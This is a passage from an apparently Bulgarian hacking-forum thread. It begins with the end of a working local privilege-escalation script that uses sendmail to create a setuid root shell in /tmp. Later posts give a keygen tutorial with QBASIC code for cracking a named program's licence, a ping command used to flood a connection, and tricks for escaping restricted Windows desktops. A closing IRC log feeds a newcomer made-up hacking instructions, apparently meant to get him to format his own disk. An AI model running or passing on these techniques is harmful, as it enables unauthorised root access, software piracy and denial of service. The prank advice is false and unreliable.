/&gt;#include&lt;stdio.h&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;execl(RUN,RUN,NULL);&lt;br /&gt;}&lt;br /&gt;_EOF_&lt;br /&gt;#&lt;br /&gt;cat &lt;&lt; _EOF_ &gt;/tmp/spawnfish.c&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;execl(&quot;/usr/lib/sendmail&quot;,&quot;/tmp/smtpd&quot;,0); &lt;br /&gt;} &lt;br /&gt;_EOF_&lt;br /&gt;#&lt;br /&gt;cat &lt;&lt; _EOF_ &gt;/tmp/smtpd.c&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;setuid(0); setgid(0); &lt;br /&gt;system(&quot;chown root /tmp/x ;chmod 4755 /tmp/x&quot;);&lt;br /&gt;}&lt;br /&gt;_EOF_&lt;br /&gt;#&lt;br /&gt;#&lt;br /&gt;gcc -O -o /tmp/x /tmp/x.c&lt;br /&gt;gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c&lt;br /&gt;gcc -O3 -o /tmp/smtpd /tmp/smtpd.c&lt;br /&gt;#&lt;br /&gt;/tmp/spawnfish&lt;br /&gt;kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/&quot;[ ]*&quot;// |cut -d&quot; &quot;&lt;br /&gt;-f1`&lt;br /&gt;rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c&lt;br /&gt;sleep 5&lt;br /&gt;if [ -u /tmp/x ] ; then&lt;br /&gt;echo &quot;leet...&quot;&lt;br /&gt;/tmp/x&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;Тъй като има още МНОГО информация,ще я споделя с вас,само и единствено ако вие искате. &lt;br /&gt;sLaV&lt;br /&gt;Oct 4 2005, 08:20 PM&lt;br /&gt;Еее фрикер екстринка м&#39;че  Сега ще попрочета каквото мога и ще хакна каквото мога  &lt;br /&gt;Едит:А за ощето инфо аз съм ЗА  &lt;br /&gt;freaker&lt;br /&gt;Oct 4 2005, 08:57 PM&lt;br /&gt;QUOTE(FiFtY^ @ Oct 4 2005, 09:20 PM)&lt;br /&gt;Еее фрикер екстринка м&#39;че   Сега ще попрочета каквото мога и ще хакна каквото мога  &lt;br /&gt;Едит:А за ощето инфо аз съм ЗА   &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;Радвам се че поне един човек оценява моите постове 10х фифти.Още инфо ще ти дам утре,шот ся нямам много време  &lt;br /&gt;sLaV&lt;br /&gt;Oct 4 2005, 10:50 PM&lt;br /&gt;QUOTE(freaker @ Oct 4 2005, 08:57 PM)&lt;br /&gt;Радвам се че поне един човек оценява моите постове 10х фифти.Още инфо ще ти дам утре,шот ся нямам много време  &lt;br /&gt; &lt;br /&gt;&lt;br /&gt;freaker RLZ!  &lt;br /&gt;freaker&lt;br /&gt;Oct 5 2005, 01:08 PM&lt;br /&gt;Ето ти още малко&quot;&lt;br /&gt;&lt;br /&gt;QUOTE&lt;br /&gt;Как да Създадем Keygen Използвайки SmartChek&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Този път ще ви покажа как да направите keygen, използвайки SmartCheck информация.&lt;br /&gt;Инструменти и мишена:&lt;br /&gt;SmartCheck 5.0 или по-висока (може да я намерите на http://surf.to/HarvestR или http://iczelion.cjb.net), някакъв език за програмиране (ASM, C, Pascal, Delphi, …), за да се кодира keygen&#39;a. А за мишена ще използваме DL PageASchedule v1.1 (потърсете я на http://www.zdnet.com). Тази програма е кодирана в VB5, затова е перфектната мишена за SmartCheck, един от добрите Numega инструменти. Инсталирайте я в избрана от вас папка и я заредете, за да я разгледате. Виждате досаден прозорец показващ сериен номер и регистрация със съответен ключ. Серийният номер и ключа са различни за всеки компютър (базирани на ID харда ви или нещо от сорта). За моя компютър си имам този сериен номер: 554-370-524.&lt;br /&gt;Подготовка:&lt;br /&gt;Заредете SmartCheck и се уверете, че сте конфигурирали следните условия: кликнете на &quot;Settings&quot; от менюто Program и след това в етикета &quot;Error Detection&quot; - всички позиции трябва да бъдат избрани, от етикета &quot;Advanced&quot; (от предишния етикет) - всички избрани, освен последните три най-отдолу и най-накрая от &quot;Reports&quot; - изберете всичко освен mouse.&lt;br /&gt;Зареждане:&lt;br /&gt;Сега сте готови да започнете. Кликнете на иконата &quot;open&quot; и заредете от папката, където DLPager е инсталиран. След това кликнете на &quot;play&quot; бутона (зелената стрелка от toolbar&#39;а).&lt;br /&gt;DLPager е зареден. Може да видите досадния екран със серийния и три кутийки за въвеждане на регистрационния ключ. Серийният номер се създава от вашата hard drive информация и е различен за всеки човек. В системата, която ви представям ще използваме серийния номер който имам: 554-370-524.&lt;br /&gt;Вкарайте произволен регистрационен ключ, аз използвах 111-111-111 и кликнете на регистрация. Програмата ви извежда съобщението &quot;Invalid Key&quot;. Кликнете на бутона ОК, след което в SmartCheck съответно на &quot;stop&quot; (червения квадрат от лентата с инструментите) и се съгласете да спрете изпълнението на DLPager.&lt;br /&gt;В левия прозорец на SmartCheck може да видите дълъг списък с резултати. Но повечето важна информация е все още скрита. Изберете от View &quot;Show All Events&quot;.&lt;br /&gt;Сега вече имате достъп до всички функции и инструкции използвани от DLPager. Нека вече се захванем със сериозни неща като&lt;br /&gt;Четене на кода:&lt;br /&gt;В този дълъг списък с инструкции трябва да намерим къде нашият измислен регистрационен ключ се сравнява с верния, затова скрулираме по списъка, за да разберем как ИСТИНСКИЯТ регистрационен ключ е създаден.&lt;br /&gt;От менюто Edit избираме Find. Въвеждаме ключовата дума &quot;invalid&quot; и след това кликаме на &quot;find next&quot;. Знаем, че нашият регистрационен ключ със сигурност се проверява точно преди прозорецът със съобщението да се появи. Намирам я на ред 8475 (може да бъде различен на вашия компютър):&lt;br /&gt;«__vbaVarDup(VARIANT:string:&quot;Invalid...»&lt;br /&gt;Добре, ако скрулираме по листинга може да видим един много интересен ред:&lt;br /&gt;«_vbaVarTstEq(VARIANT:Const String:&quot;&quot;,VARIANT:String:&quot;866434184&quot;...»&lt;br /&gt;Номерът 866434184 МОЖЕ ДА БЪДЕ различен на вашия компютър. Но това прилича на ИСТИНСКИЯ регистрационен ключ, нали? За да сте сигурни, просто стартирайте DLPager (директно извън SmartCheck) и се опитайте да въведете номера, който намерихте! Bingo, намерили сте вашия номер  &lt;br /&gt;Но не искаме само да имаме серийния, защото той ще работи само на нашия компютър, а ние искаме да можем да го дадем на някой друг. Затова трябва да разберем КАК този регистрационен ключ е създаден. И така, нека разгледаме листинга отново.&lt;br /&gt;Как се създава този регистрационен ключ:&lt;br /&gt;Само няколко редове по-нагоре (за мен това е ред 8449) ще намерите интересна инструкция:&lt;br /&gt;«__vbaVarMove(VARIANT:String:&quot;86643418..&quot;,VARIANT:String&quot;86643418&quot;»&lt;br /&gt;Гледайки в десния прозорец на SmartCheck (информационния прозорец) ще видите стойността на променливите: : 866434184 и 86643418 (моля не забравяйте, че вашите числа могат да бъдат различни). Инструкцията vbaVarMove (и на предния ред vbaVarTstEq) е само за добавяне на нова характеристика към string&#39;а… Добре, сега вече сме на последната стъпка от създаването на ВЕРНИЯ регистрационен ключ, където последния номер е добавен.&lt;br /&gt;Скрулирайте нагоре, докато не намерите първата стъпка от създаването на този ключ. За мен той започва от ред 7983, точно след теста за дължината на нашия фалшив ключ (111111111).&lt;br /&gt;Сега вече можем да видим какво точно прави програмата. Най-напред се взема първата цифра на ключа, която се зарежда от програмата (554370524), използвайки инструкцията:&lt;br /&gt;«Mid(VARIANT:ByRef String:&quot;554370524&quot;,Long 1,...»&lt;br /&gt;Може да видите, че тиретата в номера са премахнати. Веднага след това виждаме друг интересен ред:&lt;br /&gt;«Mid(VARIANT:ByRef String:&quot;HabXndJf...&quot;,Long 1, »&lt;br /&gt;ако погледнете в десния прозорец, ще видите пълната стойност на string&#39;а, който е «HabXndJfiqPmKla». Нека продължим надолу с разглеждането на листинга на кода. На следващите два реда се дава ASCII стойност на първия символ на ключа (554370524), а и на този странен string:&lt;br /&gt;«asc(VARIANT:&quot;5&quot;) Returns Integer:53» &lt;br /&gt;«asc(VARIANT:&quot;H&quot;) Returns Integer:72»&lt;br /&gt;Точно след тези редове се натъкваме на наистина странна инструкция:&lt;br /&gt;«str(VARIANT:Integer:8)»&lt;br /&gt;Хммммммммм от къде идва този номер? Ако погледнем по-надолу, ще видим, че за 9 числа от номера, подаден от програмата, ASCII стойността се пресмята и същите неща се правят за всичките девет начални символа на &quot;странния&quot; string. Всеки път се появява нов номер и се прибавя към предишния, като по този начин се образува крайния номер на ключа….&lt;br /&gt;И така, почесах се по главата, изпих едно силно кафе и започнах да използвам въображението си (до голяма степен то ви е необходимо, за да краквате или както се казва трябва &quot;да почувствате кода&quot;). Спомнете си първия символ от регистрационния ключ (8). Имаме два ASCII стойности: 53 и 72. Е, тогава нека прибавим цифрите, за да получим тази стойност 5+3+7+2=17! Сега нека отново прибавим всяка една от цифрите 1+7=8!!!&lt;br /&gt;За да сме сигурни нека проверим теорията със следващите няколко стъпки: за втория символ на регистрационния ключ ичач asc(5) и asc(а), които са 53 и 97. Следвайки теорията ми имаме 5+3+9+7=24 и 2+4=6!!! Вторият символ на ВЕРНИЯ ключ е 6, отново потвърждение  &lt;br /&gt;Но за да сме абсолютно сигурни, проверяваме и третия: asc(4)=52 и asc( =98, следва 5+2+9+8=24, а 2+4=6 и виждаме също, че 6 е третия символ от ключа……значи сме открили трика  ))&lt;br /&gt;Алгоритъмът:&lt;br /&gt;Знаем, че всеки номер от подадения ни от програмата сериен номер (в моя случай 554-370-524) ще бъде свързан с всяка от деветте първи букви на string&#39;а &quot;HabXndJfi&quot;. Тогава asc стойността ще се сумира и всяка цифра от нея ще се прибавя, докато не стигнем до едноцифрено число. Също знаем, че странния string (HabXndJfi) разбира се също ни дава същите asc стойности. Може да дефинираме тези фиксирани стойности (нарекох ги &quot;магически числа&quot;):&lt;br /&gt;H=72 --&gt; 7+2=9 &lt;br /&gt;a=97 --&gt; 9+7=16 --&gt; 1+6=7 &lt;br /&gt;b=98 --&gt; 9+8=17 --&gt; 1+7=8 &lt;br /&gt;X=88 --&gt; 8+8=16 --&gt; 1+6=7&lt;br /&gt;n=110 --&gt; 1+1+0=2 &lt;br /&gt;d=100 --&gt; 1+0+0=1 &lt;br /&gt;J=74 --&gt; 7+4=11 --&gt; 1+1=2 &lt;br /&gt;f=102 --&gt; 1+0+2=3 &lt;br /&gt;i=105 --&gt; 1+0+5=6&lt;br /&gt;А, сега можем да създадем крайния регистрационен ключ.&lt;br /&gt;Основният алгоритъм:&lt;br /&gt;Ключ номер 1 = сумата от всички символи на ascii стойността на (серийният номер 1 + магическото число 1)&lt;br /&gt;Ключ номер 2 = сумата от всички символи на ascii стойността на (серийният номер 2 + магическото число 2)&lt;br /&gt;Моят пример:&lt;br /&gt;За сериен номер имам - 554-370-524&lt;br /&gt;Ключ номер 1: ascii за &quot;5&quot; е 53, &#39;магическо1&#39; е 9, сумата е 62, ключ1 е 6+2=8&lt;br /&gt;Ключ номер 2: ascii за &quot;5&quot; е 53, &#39;магическо2&#39; е 7, сумата е 60, ключ2 е 6+0=6&lt;br /&gt;Ключ номер 3: ascii за &quot;4&quot; е 52, &#39;магическо3&#39; е 8, сумата е 60, ключ3 е 6+0=6&lt;br /&gt;Ключ номер 4: ascii за &quot;3&quot; е 51, &#39;магическо4&#39; е 7, сумата е 58, ключ4 е 8+5=13, тогава 1+3=4&lt;br /&gt;…&lt;br /&gt;Вече имам регистрационния ключ: 866-434-184&lt;br /&gt;Кодът keygen&lt;br /&gt;За целта съм използвал QBASIC. Между другото може да създадете свой собствен keygen, без да използвате моя листинг  Ще ви дам само част от кода, където се изчисля keygen&#39;а:&lt;br /&gt;...&lt;br /&gt;INPUT &quot;Въведете своя сериен номер (без -) :&quot;; serial$&lt;br /&gt;FOR i = 1 TO 9&lt;br /&gt;REM *** Изчислява се сумата на числата от ascii стойността на всяко число от серийния&lt;br /&gt;c1(i) = INT(ASC(MID$(serial$, i, 1)) / 10)&lt;br /&gt;c2(i) = ASC(MID$(serial$, i, 1)) - INT(ASC(MID$(serial$, i, 1)) / 10) * 10&lt;br /&gt;regcode(i) = c1(i) + c2(i)&lt;br /&gt;REM *** Проверява се дали резултатът е повече от един символ, ако не е се изчислява до един символ.&lt;br /&gt;IF regcode(i) &gt; 9 THEN regcode(i) = INT(regcode(i) / 10) + (regcode(i) - (INT(regcode(i) / 10)) * 10)&lt;br /&gt;NEXT i&lt;br /&gt;REM *** Сега се прибавя &quot;магическото число&quot; към всеки номер от този регистрационен код&lt;br /&gt;regcode(1) = regcode(1) + 9&lt;br /&gt;regcode(2) = regcode(2) + 7&lt;br /&gt;regcode(3) = regcode(3) + 8&lt;br /&gt;regcode(4) = regcode(4) + 7&lt;br /&gt;regcode(5) = regcode(5) + 2&lt;br /&gt;regcode(6) = regcode(6) + 1&lt;br /&gt;regcode(7) = regcode(7) + 2&lt;br /&gt;regcode(8) = regcode(8) + 3&lt;br /&gt;regcode(9) = regcode(9) + 6&lt;br /&gt;REM *** и се проверява дали всяка от новите стойности е повече от един символ...&lt;br /&gt;FOR i = 9 TO 1 STEP -1&lt;br /&gt;IF regcode(i) &gt; 9 THEN regcode(i) = INT(regcode(i) / 10) + (regcode(i) - (INT(regcode(i) / 10)) * 10)&lt;br /&gt;NEXT i&lt;br /&gt;...&lt;br /&gt;Сега трябва само да запишете деветте числа във следния формат ххх-ххх-ххх и keygen&#39;ът е завършен.&lt;br /&gt;Надявам се, че предложената от мен система не е била твърде сложна и неясна  ))&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Интересни DOS команди&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Под DOS можете да направите много неща, които не могат да станат с обикновен Windows 9.x (без допълнителни програми). &lt;br /&gt;Тук ще разгледаме някои DOS команди:&lt;br /&gt;1. Ping - под ping се разбира изпращането на Echo Request до друг компютър в мрежата, за да се разбере дали тодй съществува.&lt;br /&gt;Щом другия компютър получи такъв пакет, той е длъжен да отговори на подателия му. С тази цел в DOS е създадена командата &lt;br /&gt;PING. Нейният най - опростен формат е: (параметрите в квадратно скоби не са задължителни)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PING [-t] [-n брой] [-l големина] [-i време на живот] [-w милисекунди] адрес &lt;br /&gt;&lt;br /&gt;Параметрите имат следните значения: &lt;br /&gt;-t - ако е споменат ще се пращат безбройно много пакети докато не бъдът спрени с Crtl+C&lt;br /&gt;-n - това указва колко пакета да се пратят (по подразбиране е 4) &lt;br /&gt;-l - указва големината на пакета (по подразбиране - 32 байта)&lt;br /&gt;-i - тука моджете да кажете през колко рутера или шлиуза максимално да може да мине вашия пакет&lt;br /&gt;-w - колко милисекунди да се чака отговор от всеки пратен пакет&lt;br /&gt;&lt;br /&gt;Ако програмата ви даде съобщение &quot;Requested Timed Out&quot;, това означава че или този адрес не съществува или пакета не &lt;br /&gt;се е върнал (за по-сигурно пращайте по повече пакети и задайте по-голиам период на изчакване за всеки) &lt;br /&gt;&lt;br /&gt;Пример: &lt;br /&gt;PING -n 10 -w 10000 212.50.21.123 - това ще прати 10 пакета до 212.50.21.123 като всеки ще бъде изчакан &lt;br /&gt;10 секунди &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;PING -t -l 5000 212.50.21.123 - в този пример се пращат безкрайно много пакети с големина 5Кb с цел &quot;наводняване&quot; &lt;br /&gt;на връзката&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;След като изпйлните командата PING ще получите нещо от сорта:&lt;br /&gt;&lt;br /&gt;Pinging 212.50.21.123 with 32 bytes of data:&lt;br /&gt;Reply from 212.50.21.123: bytes=32 time=1010ms TTL=126 &lt;br /&gt;Reply from 212.50.21.123: bytes=32 time=982ms TTL=126 &lt;br /&gt;Reply from 212.50.21.123: bytes=32 time=1256ms TTL=126 &lt;br /&gt;Reply from 212.50.21.123: bytes=32 time=817ms TTL=126 &lt;br /&gt;Ping statistics for 212.50.21.123: &lt;br /&gt;&lt;br /&gt;Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), &lt;br /&gt;Approximate round trip times in milli-seconds: &lt;br /&gt;Minimum = 817 ms, Maximum = 1256 ms, Average = 1016 ms &lt;br /&gt;&lt;br /&gt;Както видждате най-долу има статистика за това колко пакета са били пратени, колко върнати и средното време, за което са &lt;br /&gt;го направили. &lt;br /&gt;&lt;br /&gt;2. Trace - тракинг се нарича проследяването на пътя до даден компютър (през кои адреси минава). Това може да се направи &lt;br /&gt;по следния начин в DOS: &lt;br /&gt;&lt;br /&gt;TRACERT [-h OPITI] [-w MILISEKUNDI] ADRES &lt;br /&gt;&lt;br /&gt;-h - брой опити за търсене на отделните адреси (по подразбиране 3) &lt;br /&gt;-w - времто за чакане отговор на пакета&lt;br /&gt;&lt;br /&gt;3. Netstat - Състояние на TCP/IP това е програма за показване на текущото състояние на TCP/IP, тоест за извеждане&lt;br /&gt;на информация за това кои портове са отворени, на кои има осъществена връзка и т.н. &lt;br /&gt;Няма да ви обясняваме параметрите и. Просто я използвайте по следния начин:&lt;br /&gt;&lt;br /&gt;netstat -a&lt;br /&gt;&lt;br /&gt;това ще покаже цялостна информация относно TCP/IP &lt;br /&gt;При не съществуваща Интернет връзка ще видите:&lt;br /&gt;&lt;br /&gt;Proto Local Address Foreign Address State &lt;br /&gt;&lt;br /&gt;Proto - това е протоколът, с който е осъществена връзката&lt;br /&gt;Local Address показва на кой порт е свързана вашата машина&lt;br /&gt;Foreign Address - портът на отсрещната&lt;br /&gt;State - показва състоянието на връзката (в случайя портовете чакат за Connection Request) &lt;br /&gt;&lt;br /&gt;NETSTAT е удобно средство за откриване на троянци при положение че знаете на кой порт работят. Да кажем че NetBus &lt;br /&gt;изплзва локален порт 12345 следователно ако състоянието на този порт е Listen явно имате зареден троянец &lt;br /&gt;освен ако не ползувате защитна програма Firewall) &lt;br /&gt;&lt;br /&gt;4. FTP - клиент за File Transfer Protocol Serveriсе&lt;br /&gt;&lt;br /&gt;Чрез FTP.EXE можете да осъществите връзка с FTP компютър. Това става чрез:&lt;br /&gt;&lt;br /&gt;FTP ADDRESS&lt;br /&gt;&lt;br /&gt;Например: FTP 212.50.21.123 &lt;br /&gt;&lt;br /&gt;Ако нямате определен account в отсрещната машина пробвайте да се свържете с UserName: anonymous и parola: вашия e-mail &lt;br /&gt;&lt;br /&gt;След това най - използуваната комада е: HELP &lt;br /&gt;Нагоре &lt;br /&gt;&lt;br /&gt;Премахване ограничения за достъп&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Това са няколко начина за локално хакване и добиване на достъп ако самият той е ограничен. Това става само като използвате &lt;br /&gt;един обикновен продукт на Microsoft (Tези примери са за Microsoft Windows 95/98)&lt;br /&gt;&lt;br /&gt;Отворете Miсrosoft Word (или Excel, Powerpoin, Access, Outbook). Изберете от менюто &quot;Help&quot;, и изберете &quot;Microsoft on the Web&quot;. &lt;br /&gt;Сега си изберете/стартирайте някоя от връзките (link). Това ще отвори Internet Explorer. Там където пише &quot;Address&quot; (URL) &lt;br /&gt;напишете C:\Windows\Explorer.exe и ще се отвори Explorer.exe. Сега Вие имате достъп до устройствата на машината и всякакви &lt;br /&gt;share устройства. &lt;br /&gt;Отворете Miсrosoft Word (или Excel, Powerpoin, Access, Outbook). Изберете от менюто &quot;Insert&quot; а от него &quot;Hyper link&quot; (или го &lt;br /&gt;изберете от лентата с бутоните) Там където пише Link to file or URL: напишете C:\WINDOWS\EXPLORER.EXE (ако искате натиснете &lt;br /&gt;&quot;Browse&quot; на &quot;Files of type изберете All files&quot; (*.*) изберете файла Explorer.exe и натиснете ОК). При стартиране на &lt;br /&gt;създадения линк вие отваряте Windows Explorer и получавате достъп до устройствата на машината и всякакви share устройства. &lt;br /&gt;Отворете Miсrosoft Word (или Excel, Powerpoin, Access, Outbook). Изберете от менюто &quot;File&quot; а от него &quot;Open&quot; там където се &lt;br /&gt;показват всички директории и файлове натиснете десен бутон на мишката и изберете &quot;Еxplore&quot; Taka получавате достъп до &lt;br /&gt;устройствата на машината и всякакви share устройства. &lt;br /&gt;Изчистете Desktop-a от всички прозорци и натиснете бутон &quot;F3&quot;, ще се стартира &quot;Find&quot; с което Виеможете да търсите Еxplorer.exe, &lt;br /&gt;Command.com и др. &lt;br /&gt;Одитете върху бутон &quot;Start&quot; натиснете десен дутон на мишката и изберете &quot;Explore&quot;. Taka получавате достъп до устройствата &lt;br /&gt;на машината и всякакви share устройства. &lt;br /&gt;Натиснте на клавиатурата бутон &quot;Windows key&quot; (бутона между Ctrl и Alt) и натиснете &quot;Е&quot;. Ще се стартира Windows Еxplorer. &lt;br /&gt;Натиснете бутон Start от него изберете &quot;Help&quot; от там изберете &quot;Search&quot; и в полето напишете &quot;Control Panel&quot; след това изберете Dail-Up Networking Step4 и натиснете в дясната страна връзката &quot;Click here&quot; (от там можете да си позволите достъп до компютъра) &lt;br /&gt;Отворете Miсrosoft Word (или Excel, Powerpoin, Access, Outbook). Изберете от менюто &quot;Insert&quot; изберете &quot;Object&quot; от него изберете &lt;br /&gt;&quot;Create form File&quot; в полето напишете C:\WINDOWS\EXPLORER.EXE (ако искате натиснете &quot;Browse&quot; за да намерите желания файл), &lt;br /&gt;натисни &quot;ОК&quot; и ще видите че избрания обект е вмъкнат в документа. Двойно натискане върху него стартира Windows Explorer. &lt;br /&gt;Натиснете бутон Start от него изберете &quot;Run&quot; в полет напишете C:\WINDOWS\EXPLORER.EXE и натиснете &quot;ОК&quot; &lt;br /&gt;Отидете на Desktop -a натиснете десен бутон на мишката изберете &quot;New&quot;, а от там &quot;Shortcut&quot; в полето &quot;Comman line&quot; напишете &lt;br /&gt;C:\WINDOWS\EXPLORER.EXE и натиснете &quot;Next&quot; като завършите shortcut -а го с двойно кликване на мишката ще стартирате Windows Explorer. &lt;br /&gt;Рестартирайте компютъра и когато се испише &quot;Starting Windows 98&quot; натиснете &quot;F8&quot;, ще се покаже едно меню чрез което можете да &lt;br /&gt;преминете към различни модели на зареждане на Windows -a (по важни от които са: Safe mode, Commadnd prompt, Step by Step).&lt;br /&gt;Нагоре&lt;br /&gt;L4m3rch3&lt;br /&gt;Oct 30 2005, 09:59 AM&lt;br /&gt;Ето малко и от мен. Предварително се извинявам че е на латиница, но такъв лог са направило &lt;br /&gt;&lt;br /&gt;QUOTE&lt;br /&gt;&lt;bla_bla_bla_bla&gt; zdr.&lt;br /&gt;&lt;Orfey&gt; zdr &lt;br /&gt;&lt;bla_bla_bla_bla&gt; abe interesuvame kak moga da pronikna v komp&lt;br /&gt;&lt;Orfey&gt; ami zashto ti e da pronikvash v comp&lt;br /&gt;&lt;bla_bla_bla_bla&gt; emi iska da se nau4a&lt;br /&gt;&lt;Orfey&gt; v na koi pc-to iskash da proniknesh ?&lt;br /&gt;&lt;bla_bla_bla_bla&gt; na edin priqtel&lt;br /&gt;&lt;Orfey&gt; v edna mreja li ste ?&lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; v smisal localna &lt;br /&gt;&lt;Orfey&gt; ili ste v razli4na mreja &lt;br /&gt;&lt;bla_bla_bla_bla&gt; po lan&lt;br /&gt;&lt;Orfey&gt; na kakyv windows e toq tvoq priqtel &lt;br /&gt;&lt;bla_bla_bla_bla&gt; xp&lt;br /&gt;&lt;Orfey&gt; a ti ? &lt;br /&gt;&lt;bla_bla_bla_bla&gt; 98&lt;br /&gt;&lt;Orfey&gt; axam &lt;br /&gt;&lt;Orfey&gt; imash li sharnati resursi po pc-to &lt;br /&gt;&lt;bla_bla_bla_bla&gt; ne&lt;br /&gt;&lt;Orfey&gt; ami za da mojesh da go hack shte trqbva da imash &lt;br /&gt;&lt;Orfey&gt; a toi ima li ?&lt;br /&gt;&lt;bla_bla_bla_bla&gt; a toi vsi4ko e shernal&lt;br /&gt;&lt;Orfey&gt; ip- adresa mu znaesh li &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; koi ip adres mu znaesh vynshniq ili vytreeshniq &lt;br /&gt;&lt;bla_bla_bla_bla&gt; emi vytre6noto&lt;br /&gt;&lt;Orfey&gt; a kak mu e vynshnoto ? &lt;br /&gt;&lt;bla_bla_bla_bla&gt; emi neznam&lt;br /&gt;&lt;Orfey&gt; ami trqbva da nau4ish &lt;br /&gt;&lt;Orfey&gt; s kakyva dynna platka e protivnika ?&lt;br /&gt;&lt;bla_bla_bla_bla&gt; amd&lt;br /&gt;&lt;bla_bla_bla_bla&gt; procesora e amd&lt;br /&gt;&lt;Orfey&gt; na kolko ? &lt;br /&gt;&lt;Orfey&gt; syshto kakva e lan kartata &lt;br /&gt;&lt;Orfey&gt; koqto polzva &lt;br /&gt;&lt;bla_bla_bla_bla&gt; 3200&lt;br /&gt;&lt;Orfey&gt; i koi port mu e free v smisal 10465t6 dali mu e otvoren tozi port &lt;br /&gt;&lt;bla_bla_bla_bla&gt; mi ba6tomu e programist taka4e neznam&lt;br /&gt;&lt;Orfey&gt; ti kolko razbirash ot pc-ta ?&lt;br /&gt;&lt;Orfey&gt; v smisal ako stane fal dali shte moje da si pokriesh sledite &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; znaesh li kade se logvat hackerskite ataki ? &lt;br /&gt;&lt;Orfey&gt; v koi fail &lt;br /&gt;&lt;Orfey&gt; za da moje sled kato proniknesh da si gi zatriesh ?&lt;br /&gt;&lt;bla_bla_bla_bla&gt; ne&lt;br /&gt;&lt;Orfey&gt; zna4i kogato nqkoi se opita da ti pronikne v pc-to &lt;br /&gt;&lt;bla_bla_bla_bla&gt; znae6 li nqkoi sait v koito da ima info za hakeri&lt;br /&gt;&lt;Orfey&gt; i si pod winXP &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; log-a se zapisva v C:\\WINDOWS\\Offline Web Pages\\Hackers.log&lt;br /&gt;&lt;Orfey&gt; naro4no sa go napravili v web pages da se zapisva &lt;br /&gt;&lt;Orfey&gt; zashtoto lamers ne se seshtat tam da proverqvat &lt;br /&gt;&lt;bla_bla_bla_bla&gt; qsno&lt;br /&gt;&lt;Orfey&gt; taka tova go zapomni nali &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; no loshoto e 4e e kriptiran faila &lt;br /&gt;&lt;Orfey&gt; i trqbva da go deshefrirash &lt;br /&gt;&lt;Orfey&gt; znaesh li s kakvo mojesh da go deshifrirash &lt;br /&gt;&lt;bla_bla_bla_bla&gt; s nqkoi hack&lt;br /&gt;&lt;Orfey&gt; ima edna programa tq si e po winxp &lt;br /&gt;&lt;Orfey&gt; koqto go deshifrira &lt;br /&gt;&lt;bla_bla_bla_bla&gt; ok&lt;br /&gt;&lt;Orfey&gt; ei sega shte ti kaja koq e programata tq mnogo si prili4a s tazi na win98 no nishto obshto nqma &lt;br /&gt;&lt;Orfey&gt; kazva se regedit &lt;br /&gt;&lt;Orfey&gt; syshto kato na win98 &lt;br /&gt;&lt;Orfey&gt; no s tazi rali4ka 4e ima dopylnitelna opciq &lt;br /&gt;&lt;Orfey&gt; hackdekode&lt;br /&gt;&lt;bla_bla_bla_bla&gt; ok&lt;br /&gt;&lt;Orfey&gt; i zadyljitelno v tazi konzola trqbva da napishesh iddqd&lt;br /&gt;&lt;Orfey&gt; posle pishesh tar -xzvf hackers.log &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; zapomnqsh li vsi4ko &lt;br /&gt;&lt;Orfey&gt; ???&lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; taka sega &lt;br /&gt;&lt;Orfey&gt; ot dos razbirash li &lt;br /&gt;&lt;bla_bla_bla_bla&gt; mi gore dolo&lt;br /&gt;&lt;Orfey&gt; znaesh 4e po4ti vsi4ki attaki sa pod dos &lt;br /&gt;&lt;Orfey&gt; kakvo znaesh za pod dos v smisal kakvi komandi znaesh ? &lt;br /&gt;&lt;bla_bla_bla_bla&gt; malko&lt;br /&gt;&lt;Orfey&gt; zashtoto ima komanda koqto e mnogo qka stiga da stane  )) i tq e hiden ot proizvoditelite &lt;br /&gt;&lt;bla_bla_bla_bla&gt; i kvo pravi taq komanda&lt;br /&gt;&lt;Orfey&gt; vyrzva se pod dos s protivnokoviq kompiutar&lt;br /&gt;&lt;bla_bla_bla_bla&gt; qsno&lt;br /&gt;&lt;Orfey&gt; znaesh standartnata komanda format nali &lt;br /&gt;&lt;Orfey&gt; vyv vsi4ki versii na dos &lt;br /&gt;&lt;bla_bla_bla_bla&gt; аь&lt;br /&gt;&lt;Orfey&gt; q ima &lt;br /&gt;&lt;bla_bla_bla_bla&gt; da&lt;br /&gt;&lt;Orfey&gt; ti s koq si ? &lt;br /&gt;&lt;Orfey&gt; s koq versiq si &lt;br /&gt;&lt;bla_bla_bla_bla&gt; ot 99&lt;br /&gt;&lt;Orfey&gt; ne otvori edna dos konzola &lt;br /&gt;&lt;Orfey&gt; otivash na start &lt;br /&gt;&lt;Orfey&gt; i posle na run &lt;br /&gt;&lt;Orfey&gt; i pishesh &lt;br /&gt;&lt;Orfey&gt; command &lt;br /&gt;&lt;Orfey&gt; i natiskash Ok&lt;br /&gt;&lt;Orfey&gt; posle kato ti se otvori dos conzolata pishesh &lt;br /&gt;&lt;Orfey&gt; ver&lt;br /&gt;&lt;Orfey&gt; i enter posle &lt;br /&gt;&lt;Orfey&gt; i mi kaji koq versiq e za da znam dali shte vaji pri teb tazi komanda &lt;br /&gt;&lt;bla_bla_bla_bla&gt; 